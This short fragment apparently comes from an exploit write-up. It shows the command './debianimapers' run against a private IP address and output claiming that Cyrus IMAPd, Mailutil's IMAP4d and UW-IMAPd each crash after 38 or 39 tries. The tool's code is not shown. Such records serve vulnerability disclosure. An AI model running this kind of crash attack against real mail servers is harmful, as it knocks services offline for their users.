Testing Cyrus IMAPd:

bash$ ./debianimapers 192.168.0.189

.....

39 tries and imapd goes down! Mission Complete!

Testing Mailutil's IMAP4d:

bash$ ./debianimapers 192.168.0.189

.....

38 tries and imapd goes down! Mission Complete!

Testing UW-IMAPd:

bash$ ./debianimapers 192.168.0.189

.....

39 tries and imapd goes down! Mission Complete!
